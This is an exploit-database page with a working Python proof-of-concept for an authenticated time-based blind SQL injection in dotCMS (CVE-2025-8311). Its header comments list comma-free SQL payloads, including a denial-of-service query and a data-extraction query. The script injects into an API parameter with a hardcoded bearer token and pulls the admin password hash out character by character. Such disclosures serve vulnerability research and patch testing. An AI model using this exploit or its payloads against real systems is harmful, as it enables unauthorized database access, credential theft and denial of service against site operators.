Share
## https://sploitus.com/exploit?id=PACKETSTORM:211125
#!/usr/bin/env python3
    
    # Exploit Title: dotCMS 25.07.02-1 - Authenticated Blind SQL Injection
    # Google Dork: N/A
    # Date: 2025-09-09
    # Exploit Author: Matan Sandori (OSCP, OSEP, OSWE)
    # Vendor Homepage:*https://www.dotcms.com/
    # Software Link: https://github.com/dotCMS/core/releases/tag/v25.07.02-1 (tested on: v25.07.02-1)
    # Version: Affects 24.03.22 and later (see vendor advisory for fixed versions)
    # Tested on: dotCMS v25.07.02-1 (Docker / Linux)
    # CVE: CVE-2025-8311
    
    
    # The application blocks the comma character, so a simple DoS payload like:
    # ') AND 1=(SELECT 1 FROM generate_series(1,500000) AS a CROSS JOIN generate_series(1,500000) AS b) AND ('FYHh' LIKE 'FYHh
    # will not work.
    
    # Instead, a comma-free payload can be used, for example:
    # ') AND 1=(WITH RECURSIVE nums(i) AS (SELECT 1 UNION ALL SELECT i + 1 FROM nums WHERE i < 1000000) SELECT MIN(1) FROM nums AS a CROSS JOIN nums AS b) AND ('A' LIKE 'A
    
    # Example query for time-based extraction of data:
    # ') AND 1=(SELECT CASE WHEN (substring(emailaddress from 1 for 1)='a') THEN (SELECT 1 FROM pg_sleep(10) WHERE firstname='Admin') ELSE 1 END FROM user_ WHERE firstname='Admin') AND ('1' LIKE '1
    
    # This PoC demonstrates time-based blind SQLi. Error-based SQLi is also possible and allows faster data extraction.
    # Using sqlmap with the --no-cast flag is recommended, as it will not work otherwise.
    
    import sys
    import time
    import string
    import urllib3
    import requests
    
    ### User configuration
    HOST="127.0.0.1:8443";
    TARGET_ACCOUNT = "admin@dotcms.com";
    SLEEP_TIME=10;
    TOKEN="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhcGk0ZjFhNGYyMi1lYzI5LTQ4OTUtYTBlYi1jYjRkYjEzOGQ2MDAiLCJ4bW9kIjoxNzUxOTQzOTEwMDAwLCJuYmYiOjE3NTE5NDM5MTAsImlzcyI6ImRvdGNtc19kZXYiLCJsYWJlbCI6InRva2VuIiwiZXhwIjoxODQ2NjQxNjAxLCJpYXQiOjE3NTE5NDM5MTAsImp0aSI6IjMyNjIxYmRkLTNhYjEtNGRiMi1iNjEyLWMzMDg5M2EyODBiZSJ9.jqXkfM4Itxy_q2kA10srcL_3NBBx6keXx2PM0mESPFI";
    CHARS = string.printable;
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning);
    
    def encode_all_characters(string):
        return "".join("%{0:0>2x}".format(ord(char)) for char in string);
    
    def send_request(payload=""):
        payload = encode_all_characters(payload);
        burp0_url = f"https://{HOST}/api/v1/contenttype?filter=LCKwsF&page=774232&per_page=517532&orderby=wDdAmr&direction=DESC&type=DOTASSET&host=BBadoI&sites=PoC{payload}";
        burp0_headers = {"Accept-Encoding": "gzip, deflate, br", "Accept": "*/*", "Accept-Language": "en-US;q=0.9,en;q=0.8", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36", "Connection": "close", "Cache-Control": "max-age=0", "Authorization": f"Bearer {TOKEN}"};
        return requests.get(burp0_url, headers=burp0_headers, verify=False);
    
    def send_sqli(q):
        query = "') AND 1=(" + q + ") AND ('A' LIKE 'A";
        return send_request(query);
    
    def test_sqli():
        print("[!] Checking target responsiveness...")
        r = send_request();
    
        if '{"entity":[],"errors":[],"i18nMessagesMap":{},"messages":[],"pagination":{"currentPage":' not in r.text:
            print("[-] Target did NOT return the expected JSON structure. Exiting.");
            sys.exit(1);
       
        print("[+] Target responded correctly.\n");
    
        r = send_sqli(f"SELECT 1 FROM PG_SLEEP({SLEEP_TIME})");
    
        if (not r.elapsed.total_seconds() >= SLEEP_TIME):
            print("[-] Target did not pause as expected; Exiting.");
            sys.exit(1);
    
    
    def retrieve_password(TEMPLATE, CHARS):
        CHARS = ":" + CHARS.replace(":", '');
        output = "";
        index = 1;
    
        while True:
            for character in CHARS:
                query = str(TEMPLATE).replace("[_INDEX_PLACEHOLDER_]", str(index)).replace("[_ASCII_PLACEHOLDER_]", str(ord(character)));
           
                r = send_sqli(query);
           
                if (r.elapsed.total_seconds() >= SLEEP_TIME):
                    print(f"[+] Found character: {character}");
                    index += 1;
                    output += character;
                    break;
            else:
                break;
    
        return output;
    
    test_sqli();
    
    print("[+] Target is Vulnerable to SQL Injection.\n");
    
    TEMPLATE = f"SELECT (CASE WHEN (substring(password_ from [_INDEX_PLACEHOLDER_] for 1)=chr([_ASCII_PLACEHOLDER_])) THEN (SELECT 1 FROM pg_sleep({SLEEP_TIME / 2}) WHERE emailaddress = '{TARGET_ACCOUNT}') ELSE 1 END) from user_ where emailaddress = '{TARGET_ACCOUNT}'";
    
    password = retrieve_password(TEMPLATE, CHARS);
    
    print(f"[+] Retrieved hash/password for {TARGET_ACCOUNT}: {password}");